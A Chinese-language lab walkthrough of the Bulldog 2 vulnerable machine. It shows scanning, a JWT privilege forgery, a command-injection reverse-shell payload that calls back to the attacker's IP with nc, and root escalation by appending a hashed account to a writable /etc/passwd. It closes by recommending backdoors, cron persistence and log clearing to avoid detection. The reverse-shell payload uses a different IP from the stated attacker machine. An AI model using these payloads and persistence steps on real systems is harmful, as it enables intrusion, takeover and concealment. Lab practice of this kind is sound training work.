Bulldog 2 渗透测试实战
Note
- 攻击机 IP:192.168.224.139(Kali)
- 靶机 IP:192.168.43.189(虚拟机启动后自动获取)
- 网络模式:攻击机与靶机均使用桥接模式
环境准备
Warning
该虚拟机仅支持 VirtualBox 运行,VMware 下无法连接网络。
下载来的虚拟机需用 VirtualBox 打开使用。确保攻击机(Kali)与靶机网络均设置为桥接模式,使两者处于同一局域网可互通。
信息收集
端口扫描
使用 nmap 对靶机进行全面扫描:
nmap -v -A -T4 192.168.43.189扫描结果显示仅开放 80 端口(HTTP 服务),其他端口均未开放。
Web 目录扫描
dirb http://192.168.43.189目录扫描未发现特殊路径。访问各页面后发现,无论访问哪个 URL,页面源代码始终不变——这表明站点使用了 JavaScript 前端渲染,所有路由由 JS 动态处理。
前端源码分析
审查页面加载的 JS 文件,主要包含以下内容:
| 文件 | 说明 |
|---|---|
particles.min.js | 开源粒子效果库,无需深究 |
inline.*.bundle.js | Webpack 打包的入口函数 |
polyfills.*.bundle.js | Webpack 打包的 Polyfills |
vendor.*.bundle.js / main.*.bundle.js | Webpack 打包的主应用代码 |
漏洞挖掘
注册功能绕过
虽然页面显示注册功能已停用,但由于整站由 JavaScript 渲染,注册逻辑实际存在于前端代码中。在前端 JS 文件中搜索 register 关键字,找到注册接口参数与提交链接。
使用 BurpSuite 拦截并重放注册请求,注册成功。
登录与 JWT 分析
使用注册账号登录系统。登录后查看身份验证数据,发现两个关键信息:
- JWT Token:JSON Web Token,用于身份认证
- User 字段:包含用户信息,其中包含「用户等级(user level)」字段
Tip
由于整站使用 JS 渲染,管理员界面与普通用户的差异必然通过前端对用户等级的判断来实现。修改 JWT 中的用户等级字段可能实现越权访问。
JWT 越权
使用 jwt.io 解密 JWT Token,修改 user 字段中的等级为管理员级别,重新加密后刷新页面。
越权成功,页面切换为管理员界面。
命令注入
在管理员面板中,尝试提交包含特殊字符的 JSON 数据包,收到错误响应,推测后端可能直接执行了用户输入。
进一步分析发现这是一个 Node.js 项目,项目名为 Bulldog-2-The-Reckoning,在 GitHub 上可找到源码:Frichetten/Bulldog-2-The-Reckoning。
通过响应内容判断,后端存在 命令注入漏洞——用户输入被直接拼接执行。
反弹 Shell
在 Kali 上监听端口:
nc -nvlp 1234通过 BurpSuite 发送包含反弹 Shell 的 payload:
6 & rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.43.139 1234 >/tmp/f;成功获取反弹 Shell。
权限提升
初始权限
登录后可见当前用户非 root 权限,需进一步提权。
查找可写文件
执行以下命令查找系统中权限异常的可写文件:
find / -perm -7 ! -type l -ls 2>/dev/null发现 /etc/passwd 文件权限异常,对当前用户可读写。
添加 Root 账户
由于原 /etc/passwd 使用空密码导致直接追加失败,改为添加带密码的 root 账户。
生成加密密码:
perl -le 'print crypt("pass","aa")'追加账户到 /etc/passwd:
echo 'hacker2:aaW3cJZ7OSoQM:0:0:hack:/root:/bin/bash' >> /etc/passwdNote
/etc/passwd 格式说明:用户名:加密密码:UID(0=root):GID(0=root):说明:家目录:Shell
提权成功
使用 su hacker2 切换用户,输入密码后即可获取 root 权限。
后续利用
渗透测试完成,可在系统中留下后门以便后续使用。建议:
- 检查 SSH 配置,添加公钥免密登录
- 创建 cron 定时任务保持持久化
- 清理日志避免被发现